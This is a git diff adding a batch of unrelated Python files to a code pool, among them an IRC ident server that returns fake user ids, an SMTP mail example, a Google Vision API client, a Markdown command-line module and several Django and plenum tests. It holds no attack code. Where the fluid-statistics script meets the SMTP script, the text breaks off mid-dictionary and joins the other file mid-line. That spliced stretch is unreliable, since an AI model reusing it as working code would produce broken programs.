'lasttransaction':0} + return infodict + else: + raise NotImplementedError + + def sanitize_order(self, raw_order): + """ + Returns agent's order as a dict with direction, price, quantity. + raw_order should be a dict with at least 'direction' key. + Order keys : + - direction: BUY or SELL + - price: best market limit if missing + - quantity: 1 if missing + """ + order = {} + if 'direction' in raw_order: + order['direction'] = raw_order['direction'] + if order['direction'] == BUY: + order['price'] = raw_order.get('price', + self.info()['sellbook'][0][0]) + else: + order['price'] = raw_order.get('price', + self.info()['buybook'][-1][0]) + order['quantity'] = raw_order.get('quantity', 1) + order['agent'] = raw_order['agent'] + return order + else: + raise MissingParameter, 'direction' + + def output_transaction(self, time, price, quantity): + """ + Output a transaction line + """ + mask = self.csvdelimiter.join(('%d','%d','%.2f','%d')) + print >> self.outputfile, mask % (time, + self.transaction, + price, + quantity) + + + def output_books(self, time): + """ + Output best limits + """ + sep = "-" * 39 + print sep + print " Sell orders at %03d" % time + print " Price | Quantity | Emitter" + for limit in self.sellbook[::-1][:5]: + print " %6.2f | %8d | %s" % (limit[0], limit[2], limit[3]) + print sep + for limit in self.buybook[::-1][:5]: + print " %6.2f | %8d | %s" % (limit[0], limit[2], limit[3]) + print " Price | Quantity | Emitter" + print " Buy orders at %03d" % time + print sep + diff --git a/pool/shard009/Python/0084077_ident.py b/pool/shard009/Python/0084077_ident.py new file mode 100644 index 0000000000000000000000000000000000000000..75a15e645d8f4a0b0877294134c6c46e70636265 --- /dev/null +++ b/pool/shard009/Python/0084077_ident.py @@ -0,0 +1,90 @@ +""" This module contains a quick ident server implentation: +``IdentServer``. IdentServer is a functional ident server that returns fake data +and can be used with IRC bots or clients. This is useful for two reasons; it +speeds up connection time, and some servers require an ident response for +security purposes. + +""" +import asyncore, asynchat +import os +import socket +import uuid + + +def get_operating_system(): + """ Retreives an RFC-1340 compliant name of the operating system. If a name + doesn't seem to be available, then UNKNOWN is returned instead. This + function is limited by the possibilities of os.name values. + """ + os_map = { + "nt": "WIN32", + "posix": "UNIX", + "mac": "MACOS", + "os2": "OS/2", + "ce": "WIN32" + } + return os_map.get(os.name, "UNKNOWN") + + + +def generate_fake_userid(): + """ Create a fake user id. This gets used when FakeIdentServer is being used + and the userid was initially set to None. It creates a random UUID as + specified by RFC 4122. + """ + return str(uuid.uuid4()) + + + +class _IdentChannel(asynchat.async_chat): + """ An instance of _IdentChannel represents a single request from a client + to the IdentServer. It isn't designed to be used directly. + """ + + def __init__(self, userid, sock, addr): + """ Set up the object by specifying the terminator and initializing the + input buffer and using the socket passed from the dispatcher. The + terminator for the ident protocol is CR+LF. + """ + asynchat.async_chat.__init__(self, sock) + self.set_terminator("\r\n") + self.userid = userid + self.collect_incoming_data = self._collect_incoming_data + + def found_terminator(self): + """ When this is activated, it means that the terminator (\r\n) has been + read. When that happens, we get the input data, clear the buffer, + and then handle the data collected. + """ + request = "".join(self.incoming) + sysos = get_operating_system() + + response = (request, "USERID", sysos, self.userid) + + self.incoming = [] + self.push(":".join(response)) + self.close_when_done() + + + + +class IdentServer(asyncore.dispatcher): + """ A quick and easy ident server. In order to run the ident server inline + with an IRC bot or client, be sure to use ``start_all()`` instead of + calling the ``start()`` method. + + """ + def __init__(self, port=113, userid=None): + asyncore.dispatcher.__init__(self) + self.create_socket(socket.AF_INET, socket.SOCK_STREAM) + self.bind(("", port)) + self.listen(5) + self.userid = userid or generate_fake_userid() + + def handle_accept(self): + """ Dispatch a request onto an _IdentChannel instance. """ + _IdentChannel(self.userid, *self.accept()) + + def start(self): + """ Begin serving ident requests on the port specified. """ + asyncore.loop(map=self._map) \ No newline at end of file diff --git a/pool/shard009/Python/0084079_decorators_tests.py b/pool/shard009/Python/0084079_decorators_tests.py new file mode 100644 index 0000000000000000000000000000000000000000..545e973a3409323c5030e0e363cdadfd84ba7e75 --- /dev/null +++ b/pool/shard009/Python/0084079_decorators_tests.py @@ -0,0 +1,24 @@ +from django.test import TestCase +from django.contrib.auth.models import User + +from basitapi.decorators import load_model +from basitapi.tests import factories + +class DecoratorsTest(TestCase): + def test_load_model(self): + user = factories.UserFactory() + + class TempObject: + @load_model(model=User, id_name='user_id', access_name='user') + def temp_method(self, request, user_id): + print request + return request.user.id + + class TempData: + def __init__(self): + pass + + temp_object = TempObject() + self.assertEquals(user.id, temp_object.temp_method(TempData(), user_id=user.id)) + + self.assertEquals(404, temp_object.temp_method(TempData(), user_id=123123123).status) diff --git a/pool/shard009/Python/0084091_commit_view.py b/pool/shard009/Python/0084091_commit_view.py new file mode 100644 index 0000000000000000000000000000000000000000..f075b904126640389ca6493100065e53a093cb24 --- /dev/null +++ b/pool/shard009/Python/0084091_commit_view.py @@ -0,0 +1,139 @@ +# =============================================================================== +# Copyright 2014 Jake Ross +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# =============================================================================== + +# ============= enthought library imports ======================= +from __future__ import absolute_import + +from traits.api import Int, Property, List +from traitsui.api import VGroup, UItem, HGroup, Group, Tabbed + +# ============= standard library imports ======================== +# ============= local library imports ========================== +from traitsui.editors.api import TabularEditor +from traitsui.handler import Controller +from traitsui.item import Readonly +from traitsui.tabular_adapter import TabularAdapter + +from pychron.core.helpers.traitsui_shortcuts import okcancel_view +from pychron.git_archive.history import CommitAdapter, BaseGitHistory +from pychron.pychron_constants import LIGHT_YELLOW + + +class UpdateGitHistory(BaseGitHistory): + tags = List + + def set_tags(self, tags): + gfactory = self.git_sha_object_factory + + def factory(t): + obj = gfactory(t.commit) + obj.name = t.name + return obj + + self.tags = sorted( + [factory(ti) for ti in tags], key=lambda x: x.date, reverse=True + ) + + +class CommitAdapter(TabularAdapter): + columns = [("Message", "message"), ("Date", "date"), ("SHA", "hexsha")] + message_width = Int(500) + date_width = Int(185) + hexsha_text = Property + + def _get_hexsha_text(self): + return self.item.hexsha[:10] + + def get_bg_color(self, obj, trait, row, column=0): + item = getattr(obj, trait)[row] + return LIGHT_YELLOW if item.active else "white" + + +class TagAdapter(CommitAdapter): + columns = [ + ("Tag", "name"), + ("Message", "message"), + ("Date", "date"), + ("SHA", "hexsha"), + ] + name_width = Int(100) + + +class BaseCommitsView(Controller): + model = BaseGitHistory + + def traits_view(self): + v = okcancel_view( + VGroup(*self._groups()), + width=900, + height=400, + title="Available Updates- Branch= {}".format(self.model.branchname), + ) + return v + + def _groups(self): + raise NotImplementedError + + def _items_grp(self): + return UItem( + "items", + editor=TabularEditor( + adapter=CommitAdapter(), editable=False, selected="selected" + ), + ) + + def _info_grp(self): + return HGroup( + Readonly("local_commit", label="Your Version"), + Readonly("latest_remote_commit", label="Latest Version"), + Readonly("n", label="Commits Behind", visible_when="show_behind"), + ) + + +class ManageCommitsView(BaseCommitsView): + def _groups(self): + igrp = Group(self._items_grp(), label="Commits") + tgrp = VGroup( + UItem( + "tags", + editor=TabularEditor( + adapter=TagAdapter(), editable=False, selected="selected" + ), + ), + label="Tags", + ) + return [self._info_grp(), Tabbed(tgrp, igrp)] + + +class CommitView(BaseCommitsView): + def _groups(self): + return [self._info_grp(), self._items_grp()] + # def traits_view(self): + # v = View(, + # UItem('items', + # editor=TabularEditor(adapter=CommitAdapter(), + # editable=False, + # selected='selected')), + # kind='livemodal', + # width=900, + # height=400, + # buttons=['OK', 'Cancel'], + # title='Available Updates- Branch= {}'.format(self.model.branchname), + # resizable=True) + # return v + + +# ============= EOF ============================================= diff --git a/pool/shard009/Python/0084100_SGS_fluid_stats.py b/pool/shard009/Python/0084100_SGS_fluid_stats.py new file mode 100644 index 0000000000000000000000000000000000000000..e6a7bdf900b340c69455359c03854561331712a0 --- /dev/null +++ b/pool/shard009/Python/0084100_SGS_fluid_stats.py @@ -0,0 +1,175 @@ +# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +# +# File name: apriori_SGS_fluid.py +# Created by: mknorps +# Creation date: 21-06-2017 +# Last modified: 29-09-2017 12:35:17 +# Purpose: take filtered and unfiltered fluid field +# in Fourier space from spectral code +# compute statistics of SGS fluid velocity +# +# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +import numpy as np +import matplotlib.pyplot as plt +import homstat as hs +import homfiles as hf +import homfigs as hfig +import itertools as it +from scipy.interpolate import griddata +from os.path import expanduser +import sys +import datetime + +# declaration of picture attributes + +LineStyle = {'DNS':'solid','LES':'dashed'} +coordinates = {1:'x',2:'y',3:'z'} +statistics = {0:("hmean_symm",),1:("hstd_symm",), + 2:("hcor_symm","Ux","Uy"), + 3:("hcor_symm","Uy","Uz"), + 4:("hcor_symm","Ux","Uz"), + 5:("hek_symm",)} +ylabels = {1:"$_{x}$",2:"$_{y}$", + 3:"$_{z}$",4:"$$", + 5:"$$",6:"$' % send_from_addr) +msg['To'] = format_addr(u'管理员 <%s>' % send_to_addr) +msg['Subject'] = email.header.Header(u'来自SMTP的问候……', 'utf-8').encode() + +server = smtplib.SMTP(smtp_server, 25) +server.set_debuglevel(1) +server.login(send_from_addr, password) +server.sendmail(send_from_addr, [send_to_addr], msg.as_string()) +server.quit() diff --git a/pool/shard009/Python/0084118_image_annotator_client.py b/pool/shard009/Python/0084118_image_annotator_client.py new file mode 100644 index 0000000000000000000000000000000000000000..fb84bbc1aa8864f387682985b80b63f1fb00fcda --- /dev/null +++ b/pool/shard009/Python/0084118_image_annotator_client.py @@ -0,0 +1,179 @@ +# Copyright 2017, Google Inc. All rights reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# EDITING INSTRUCTIONS +# This file was generated from the file +# https://github.com/google/googleapis/blob/master/google/cloud/vision/v1/image_annotator.proto, +# and updates to that file get reflected here through a refresh process. +# For the short term, the refresh process will only be runnable by Google engineers. +# +# The only allowed edits are to method and file documentation. A 3-way +# merge preserves those additions if the generated source changes. +"""Accesses the google.cloud.vision.v1 ImageAnnotator API.""" + +import collections +import json +import os +import pkg_resources +import platform + +from google.gax import api_callable +from google.gax import config +from google.gax import path_template +import google.gax + +from google.cloud.gapic.vision.v1 import enums +from google.cloud.proto.vision.v1 import image_annotator_pb2 + + +class ImageAnnotatorClient(object): + """Service that performs Google Cloud Vision API detection tasks over + client images, such as face, landmark, logo, label, and text detection. The + ImageAnnotator service returns detected entities from the images. + """ + + SERVICE_ADDRESS = 'vision.googleapis.com' + """The default address of the service.""" + + DEFAULT_SERVICE_PORT = 443 + """The default port of the service.""" + + # The scopes needed to make gRPC calls to all of the methods defined in + # this service + _ALL_SCOPES = ('https://www.googleapis.com/auth/cloud-platform', ) + + def __init__(self, + service_path=SERVICE_ADDRESS, + port=DEFAULT_SERVICE_PORT, + channel=None, + credentials=None, + ssl_credentials=None, + scopes=None, + client_config=None, + app_name=None, + app_version='', + lib_name=None, + lib_version='', + metrics_headers=()): + """Constructor. + + Args: + service_path (string): The domain name of the API remote host. + port (int): The port on which to connect to the remote host. + channel (:class:`grpc.Channel`): A ``Channel`` instance through + which to make calls. + credentials (object): The authorization credentials to attach to + requests. These credentials identify this application to the + service. + ssl_credentials (:class:`grpc.ChannelCredentials`): A + ``ChannelCredentials`` instance for use with an SSL-enabled + channel. + scopes (list[string]): A list of OAuth2 scopes to attach to requests. + client_config (dict): + A dictionary for call options for each method. See + :func:`google.gax.construct_settings` for the structure of + this data. Falls back to the default config if not specified + or the specified config is missing data points. + app_name (string): The name of the application calling + the service. Recommended for analytics purposes. + app_version (string): The version of the application calling + the service. Recommended for analytics purposes. + lib_name (string): The API library software used for calling + the service. (Unless you are writing an API client itself, + leave this as default.) + lib_version (string): The API library software version used + for calling the service. (Unless you are writing an API client + itself, leave this as default.) + metrics_headers (dict): A dictionary of values for tracking + client library metrics. Ultimately serializes to a string + (e.g. 'foo/1.2.3 bar/3.14.1'). This argument should be + considered private. + + Returns: + A ImageAnnotatorClient object. + """ + # Unless the calling application specifically requested + # OAuth scopes, request everything. + if scopes is None: + scopes = self._ALL_SCOPES + + # Initialize an empty client config, if none is set. + if client_config is None: + client_config = {} + + # Initialize metrics_headers as an ordered dictionary + # (cuts down on cardinality of the resulting string slightly). + metrics_headers = collections.OrderedDict(metrics_headers) + metrics_headers['gl-python'] = platform.python_version() + + # The library may or may not be set, depending on what is + # calling this client. Newer client libraries set the library name + # and version. + if lib_name: + metrics_headers[lib_name] = lib_version + + # Finally, track the GAPIC package version. + metrics_headers['gapic'] = pkg_resources.get_distribution( + 'google-cloud-vision', ).version + + # Load the configuration defaults. + default_client_config = json.loads( + pkg_resources.resource_string( + __name__, 'image_annotator_client_config.json').decode()) + defaults = api_callable.construct_settings( + 'google.cloud.vision.v1.ImageAnnotator', + default_client_config, + client_config, + config.STATUS_CODE_NAMES, + metrics_headers=metrics_headers, ) + self.image_annotator_stub = config.create_stub( + image_annotator_pb2.ImageAnnotatorStub, + channel=channel, + service_path=service_path, + service_port=port, + credentials=credentials, + scopes=scopes, + ssl_credentials=ssl_credentials) + + self._batch_annotate_images = api_callable.create_api_call( + self.image_annotator_stub.BatchAnnotateImages, + settings=defaults['batch_annotate_images']) + + # Service calls + def batch_annotate_images(self, requests, options=None): + """ + Run image detection and annotation for a batch of images. + + Example: + >>> from google.cloud.gapic.vision.v1 import image_annotator_client + >>> client = image_annotator_client.ImageAnnotatorClient() + >>> requests = [] + >>> response = client.batch_annotate_images(requests) + + Args: + requests (list[:class:`google.cloud.proto.vision.v1.image_annotator_pb2.AnnotateImageRequest`]): Individual image annotation requests for this batch. + options (:class:`google.gax.CallOptions`): Overrides the default + settings for this call, e.g, timeout, retries etc. + + Returns: + A :class:`google.cloud.proto.vision.v1.image_annotator_pb2.BatchAnnotateImagesResponse` instance. + + Raises: + :exc:`google.gax.errors.GaxError` if the RPC is aborted. + :exc:`ValueError` if the parameters are invalid. + """ + # Create the request object. + request = image_annotator_pb2.BatchAnnotateImagesRequest( + requests=requests) + return self._batch_annotate_images(request, options) diff --git a/pool/shard009/Python/0084120_main__.py b/pool/shard009/Python/0084120_main__.py new file mode 100644 index 0000000000000000000000000000000000000000..c24f7562cbe9b8ed4868597a8ae943303e362dc1 --- /dev/null +++ b/pool/shard009/Python/0084120_main__.py @@ -0,0 +1,136 @@ +""" +COMMAND-LINE SPECIFIC STUFF +============================================================================= + +""" + +import sys +import optparse +import codecs +import warnings +import markdown +try: + import yaml +except ImportError: # pragma: no cover + import json as yaml + +import logging +from logging import DEBUG, WARNING, CRITICAL + +logger = logging.getLogger('MARKDOWN') + + +def parse_options(args=None, values=None): + """ + Define and parse `optparse` options for command-line usage. + """ + usage = """%prog [options] [INPUTFILE] + (STDIN is assumed if no INPUTFILE is given)""" + desc = "A Python implementation of John Gruber's Markdown. " \ + "https://Python-Markdown.github.io/" + ver = "%%prog %s" % markdown.version + + parser = optparse.OptionParser(usage=usage, description=desc, version=ver) + parser.add_option("-f", "--file", dest="filename", default=None, + help="Write output to OUTPUT_FILE. Defaults to STDOUT.", + metavar="OUTPUT_FILE") + parser.add_option("-e", "--encoding", dest="encoding", + help="Encoding for input and output files.",) + parser.add_option("-s", "--safe", dest="safe", default=False, + metavar="SAFE_MODE", + help="Deprecated! 'replace', 'remove' or 'escape' HTML " + "tags in input") + parser.add_option("-o", "--output_format", dest="output_format", + default='xhtml1', metavar="OUTPUT_FORMAT", + help="'xhtml1' (default), 'html4' or 'html5'.") + parser.add_option("-n", "--no_lazy_ol", dest="lazy_ol", + action='store_false', default=True, + help="Observe number of first item of ordered lists.") + parser.add_option("-x", "--extension", action="append", dest="extensions", + help="Load extension EXTENSION.", metavar="EXTENSION") + parser.add_option("-c", "--extension_configs", + dest="configfile", default=None, + help="Read extension configurations from CONFIG_FILE. " + "CONFIG_FILE must be of JSON or YAML format. YAML" + "format requires that a python YAML library be " + "installed. The parsed JSON or YAML must result in a " + "python dictionary which would be accepted by the " + "'extension_configs' keyword on the markdown.Markdown " + "class. The extensions must also be loaded with the " + "`--extension` option.", + metavar="CONFIG_FILE") + parser.add_option("-q", "--quiet", default=CRITICAL, + action="store_const", const=CRITICAL+10, dest="verbose", + help="Suppress all warnings.") + parser.add_option("-v", "--verbose", + action="store_const", const=WARNING, dest="verbose", + help="Print all warnings.") + parser.add_option("--noisy", + action="store_const", const=DEBUG, dest="verbose", + help="Print debug messages.") + + (options, args) = parser.parse_args(args, values) + + if len(args) == 0: + input_file = None + else: + input_file = args[0] + + if not options.extensions: + options.extensions = [] + + extension_configs = {} + if options.configfile: + with codecs.open( + options.configfile, mode="r", encoding=options.encoding + ) as fp: + try: + extension_configs = yaml.load(fp) + except Exception as e: + message = "Failed parsing extension config file: %s" % \ + options.configfile + e.args = (message,) + e.args[1:] + raise + + opts = { + 'input': input_file, + 'output': options.filename, + 'extensions': options.extensions, + 'extension_configs': extension_configs, + 'encoding': options.encoding, + 'output_format': options.output_format, + 'lazy_ol': options.lazy_ol + } + + if options.safe: + # Avoid deprecation warning if user didn't set option + opts['safe_mode'] = options.safe + + return opts, options.verbose + + +def run(): # pragma: no cover + """Run Markdown from the command line.""" + + # Parse options and adjust logging level if necessary + options, logging_level = parse_options() + if not options: + sys.exit(2) + logger.setLevel(logging_level) + console_handler = logging.StreamHandler() + logger.addHandler(console_handler) + if logging_level <= WARNING: + # Ensure deprecation warnings get displayed + warnings.filterwarnings('default') + logging.captureWarnings(True) + warn_logger = logging.getLogger('py.warnings') + warn_logger.addHandler(console_handler) + + # Run + markdown.markdownFromFile(**options) + + +if __name__ == '__main__': # pragma: no cover + # Support running module as a commandline command. + # Python 2.7 & 3.x do: `python -m markdown [options] [args]`. + run() diff --git a/pool/shard009/Python/0084122_test_sqlite_utils.py b/pool/shard009/Python/0084122_test_sqlite_utils.py new file mode 100644 index 0000000000000000000000000000000000000000..1ea5d9796cc01d58f05b53468b674402de4fd64e --- /dev/null +++ b/pool/shard009/Python/0084122_test_sqlite_utils.py @@ -0,0 +1,79 @@ +# -*- coding: utf-8 -*- +import logging +import os +from unittest.mock import Mock, patch + +from django.test import TransactionTestCase + +from eventkit_cloud.utils.gpkg.sqlite_utils import get_database_connection, Table + +logger = logging.getLogger(__name__) + + +class TestSqliteUtils(TransactionTestCase): + def setUp(self): + self.path = os.path.dirname(os.path.realpath(__file__)) + + @patch("eventkit_cloud.utils.gpkg.sqlite_utils.connect") + def test_get_database_connection(self, connect): + from sqlite3 import Row + + cursor_mock = Mock() + cursor_mock.fetchone.return_value = "test" + connect().__enter__().cursor.return_value = cursor_mock + + # Test that a connection object is returned + with get_database_connection(self.path) as conn: + self.assertEqual(conn.cursor().fetchone(), "test") + + # Test that the row_factory property is correctly set to sqlite3.Row + self.assertEqual(get_database_connection(self.path).row_factory, Row) + + +class TestTableQuery(TransactionTestCase): + def setUp(self): + self.path = os.path.dirname(os.path.realpath(__file__)) + + def test_get_table_query_validate(self): + cursor_mock = Mock() + + def fill_cursor(*args): + if args[1][0] in ["gpkg_contents"]: + cursor_mock.fetchone.return_value = ("gpkg_contents",) + else: + cursor_mock.fetchone.return_value = tuple() + + cursor_mock.execute.side_effect = fill_cursor + passed = True + try: + Table(cursor_mock, "gpkg_contents").validate() + except ValueError: + passed = False + self.assertTrue(passed) + self.assertRaises(ValueError, Table(cursor_mock, "gpkg_metadata").validate) + + try: + Table(cursor_mock, "sqlite_master").validate() + except ValueError: + passed = False + self.assertTrue(passed) + + +class TestTable(TransactionTestCase): + def setUp(self): + self.path = os.path.dirname(os.path.realpath(__file__)) + + def test_get_table_exists(self): + cursor_mock = Mock() + + def fill_cursor(*args): + if args[1][0] in ["gpkg_contents", "other_table"]: + cursor_mock.fetchone.return_value = ("gpkg_contents",) + else: + cursor_mock.fetchone.return_value = tuple() + + cursor_mock.execute.side_effect = fill_cursor + self.assertTrue(Table.exists(cursor_mock, "gpkg_contents")) + self.assertTrue(cursor_mock.execute.called_once) + self.assertTrue(not Table.exists(cursor_mock, "gpkg_metadata")) + self.assertTrue(Table.exists(cursor_mock, "other_table")) diff --git a/pool/shard009/Python/0084124_util_tests.py b/pool/shard009/Python/0084124_util_tests.py new file mode 100644 index 0000000000000000000000000000000000000000..810c6d3ca6a2f5d5b4ee576d541cca5dbacf5c51 --- /dev/null +++ b/pool/shard009/Python/0084124_util_tests.py @@ -0,0 +1,185 @@ +# Copyright 2015 Google Inc. All rights reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except +# in compliance with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software distributed under the License +# is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express +# or implied. See the License for the specific language governing permissions and limitations under +# the License. + +from __future__ import absolute_import +from __future__ import unicode_literals +import imp +import unittest +import pytz +import mock +import os + +import google.datalab.utils._utils as _utils +from datetime import datetime +import oauth2client.client + + +class TestCases(unittest.TestCase): + + @staticmethod + def _get_data(): + m = imp.new_module('baz') + exec('x = 99', m.__dict__) + data = { + 'foo': { + 'bar': { + 'xyz': 0 + }, + 'm': m + } + } + return data + + def test_no_entry(self): + data = TestCases._get_data() + self.assertIsNone(_utils.get_item(data, 'x')) + self.assertIsNone(_utils.get_item(data, 'bar.x')) + self.assertIsNone(_utils.get_item(data, 'foo.bar.x')) + self.assertIsNone(_utils.get_item(globals(), 'datetime.bar.x')) + + def test_entry(self): + data = TestCases._get_data() + self.assertEquals(data['foo']['bar']['xyz'], _utils.get_item(data, 'foo.bar.xyz')) + self.assertEquals(data['foo']['bar'], _utils.get_item(data, 'foo.bar')) + self.assertEquals(data['foo'], _utils.get_item(data, 'foo')) + self.assertEquals(data['foo']['m'], _utils.get_item(data, 'foo.m')) + self.assertEquals(99, _utils.get_item(data, 'foo.m.x')) + + def test_compare_datetimes(self): + t1, t2 = datetime(2017, 2, 2, 12, 0, 0), datetime(2017, 2, 2, 12, 0, 0) + self.assertEquals(_utils.compare_datetimes(t1, t2), 0) + + t2 = t2.replace(hour=11) + self.assertEquals(_utils.compare_datetimes(t1, t2), 1) + + def test_compare_datetimes_tz(self): + t1 = datetime(2017, 2, 2, 12, 0, 0) + t2 = datetime(2017, 2, 2, 12, 0, 0, tzinfo=pytz.timezone('US/Eastern')) + + self.assertEquals(_utils.compare_datetimes(t1, t2), -1) + + t1 = t1.replace(tzinfo=pytz.timezone('US/Pacific')) + + self.assertEquals(_utils.compare_datetimes(t1, t2), 1) + + @mock.patch('os.path.expanduser') + def test_get_config_dir(self, mock_expand_user): + mock_expand_user.return_value = 'user/relative/path' + with mock.patch.dict(os.environ, {'CLOUDSDK_CONFIG': 'test/path'}): + self.assertEquals(_utils.get_config_dir(), 'test/path') + + self.assertEquals(_utils.get_config_dir(), 'user/relative/path/.config/gcloud') + + @mock.patch('os.name', 'nt') + @mock.patch('os.path.join') + def test_get_config_dir_win(self, mock_path_join): + mock_path_join.side_effect = lambda x, y: x + y + self.assertEquals(_utils.get_config_dir(), 'C:\\gcloud') + + mock_path_join.side_effect = lambda x, y: x + '\\' + y + with mock.patch.dict(os.environ, {'APPDATA': 'test\\path'}): + self.assertEquals(_utils.get_config_dir(), 'test\\path\\gcloud') + + @mock.patch('google.datalab.utils._utils._in_datalab_docker') + @mock.patch('oauth2client.client.GoogleCredentials.get_application_default') + @mock.patch('os.path.exists') + def test_get_credentials_from_file(self, mock_path_exists, mock_get_default_creds, + mock_in_datalab): + # If application default credentials exist, use them + _utils.get_credentials() + mock_get_default_creds.assert_has_calls([ + mock.call().create_scoped_required(), + mock.call().create_scoped(_utils.CREDENTIAL_SCOPES) + ], any_order=True) + + # If application default credentials are not defined, should load from file + test_creds = ''' + { + "data": [{ + "key": { + "type": "google-cloud-sdk" + }, + "credential": { + "access_token": "test-access-token", + "client_id": "test-id", + "client_secret": "test-secret", + "refresh_token": "test-token", + "token_expiry": "test-expiry", + "token_uri": "test-url", + "user_agent": "test-agent", + "invalid": "false" + } + }] + } + ''' + with mock.patch('google.datalab.utils._utils.open', mock.mock_open(read_data=test_creds)): + mock_get_default_creds.side_effect = Exception + cred = _utils.get_credentials() + + self.assertEquals(cred.access_token, 'test-access-token') + + mock_path_exists.return_value = False + with self.assertRaises(Exception): + cred = _utils.get_credentials() + + # If default creds are not defined, and no file exists with credentials, throw + # something more meaningful. + mock_get_default_creds.side_effect = oauth2client.client.ApplicationDefaultCredentialsError + with self.assertRaisesRegexp(Exception, + 'No application credentials found. Perhaps you should sign in'): + cred = _utils.get_credentials() + + @mock.patch('subprocess.call') + @mock.patch('os.path.exists') + def test_save_project_id(self, mock_path_exists, mock_subprocess_call): + _utils.save_project_id('test-project') + mock_subprocess_call.assert_called_with([ + 'gcloud', 'config', 'set', 'project', 'test-project' + ]) + + mock_subprocess_call.side_effect = Exception + + test_config = ''' + { + "project_id": "" + } + ''' + opener = mock.mock_open(read_data=test_config) + with mock.patch('google.datalab.utils._utils.open', opener): + _utils.save_project_id('test-project') + opener.assert_has_calls([mock.call().write('{"project_id": "test-project"}')]) + + @mock.patch('subprocess.Popen') + @mock.patch('os.path.exists') + def test_get_default_project_id(self, mock_path_exists, mock_subprocess_call): + mock_subprocess_call.return_value.communicate.return_value = ('test-project', '') + mock_subprocess_call.return_value.poll.return_value = 0 + self.assertEquals(_utils.get_default_project_id(), 'test-project') + mock_subprocess_call.assert_called_with( + ['gcloud', 'config', 'list', '--format', 'value(core.project)'], stdout=-1) + + mock_subprocess_call.side_effect = Exception + + test_config = ''' + { + "project_id": "test-project2" + } + ''' + opener = mock.mock_open(read_data=test_config) + with mock.patch('google.datalab.utils._utils.open', opener): + self.assertEquals(_utils.get_default_project_id(), 'test-project2') + + mock_path_exists.return_value = False + self.assertIsNone(_utils.get_default_project_id()) + + with mock.patch.dict(os.environ, {'PROJECT_ID': 'test-project3'}): + self.assertEquals(_utils.get_default_project_id(), 'test-project3') diff --git a/pool/shard009/Python/0084132_sessions.py b/pool/shard009/Python/0084132_sessions.py new file mode 100644 index 0000000000000000000000000000000000000000..86499d952899798c072a09a024f4917ef1f4c378 --- /dev/null +++ b/pool/shard009/Python/0084132_sessions.py @@ -0,0 +1,43 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +import web + +from core.controller import Controller +from core.view import View + +from lib.session import Session + +class Sessions(Controller): + + def set(self): + Session.set('count', 1) + return View.load('/session/set.tpl') + + def get(self): + params = {} + params['key'] = 'count' + params['value'] = Session.get('count') + + return View.load('/session/get.tpl', params) + + def add(self): + count = Session.get('count') + count = count + 1 + Session.set('count', count) + raise web.seeother('/session/get/') + + def remove(self): + count = Session.get('count') + if count > 0: + count = count - 1 + else: + count = 0 + + Session.set('count', count) + raise web.seeother('/session/get/') + + + def destroy(self): + Session.destroy() + raise web.seeother('/session/get/') \ No newline at end of file diff --git a/pool/shard009/Python/0084135_test_complete_with_delayed_view_change.py b/pool/shard009/Python/0084135_test_complete_with_delayed_view_change.py new file mode 100644 index 0000000000000000000000000000000000000000..7137e88b75865e674c89aeeee980a53568a8632d --- /dev/null +++ b/pool/shard009/Python/0084135_test_complete_with_delayed_view_change.py @@ -0,0 +1,68 @@ +import functools +from collections import deque + +import pytest + +from plenum.common.constants import PreVCStrategies +from plenum.common.messages.node_messages import ViewChangeDone, InstanceChange, NewView, ViewChange +from plenum.test.helper import sdk_send_random_and_check +from plenum.test.node_catchup.helper import ensure_all_nodes_have_same_data +from plenum.test.test_node import TestNode, ensureElectionsDone +from plenum.test.view_change.helper import ensure_view_change +from stp_core.loop.eventually import eventually + +REQ_COUNT = 10 +stashed_vc_done_msgs = deque() +stashed_ic_msgs = deque() +got_start_vc_msg = False + + +@pytest.fixture(scope="module") +def tconf(tconf): + tconf.PRE_VC_STRATEGY = PreVCStrategies.VC_START_MSG_STRATEGY + yield tconf + del tconf.PRE_VC_STRATEGY + + +def not_processing_view_change_done(node): + async def processNodeInBoxWithoutVCDone(self): + """ + Process the messages in the node inbox asynchronously. + """ + self.nodeIbStasher.process() + for i in range(len(self.nodeInBox)): + m = self.nodeInBox.popleft() + if isinstance(m, tuple) and len( + m) == 2 and not hasattr(m, '_field_types') and \ + isinstance(m[0], (NewView, InstanceChange, ViewChange)) and \ + m[0].viewNo > self.viewNo: + if isinstance(m[0], NewView): + stashed_vc_done_msgs.append(m) + else: + stashed_ic_msgs.append(m) + continue + await self.process_one_node_message(m) + + node.processNodeInBox = functools.partial(processNodeInBoxWithoutVCDone, node) + + +def test_complete_with_delayed_view_change(looper, + txnPoolNodeSet, + sdk_wallet_steward, + sdk_pool_handle): + def chk_len_stashed_msgs(): + # We are waiting for one message from selected primary + assert len(stashed_vc_done_msgs) == 1 + + sdk_send_random_and_check(looper, txnPoolNodeSet, sdk_pool_handle, sdk_wallet_steward, REQ_COUNT) + slow_node = txnPoolNodeSet[-1] + not_processing_view_change_done(slow_node) + ensure_view_change(looper, txnPoolNodeSet[:-1]) + looper.run(eventually(chk_len_stashed_msgs)) + while stashed_ic_msgs: + slow_node.nodeInBox.append(stashed_ic_msgs.popleft()) + while stashed_vc_done_msgs: + slow_node.nodeInBox.append(stashed_vc_done_msgs.popleft()) + slow_node.processNodeInBox = functools.partial(TestNode.processNodeInBox, slow_node) + 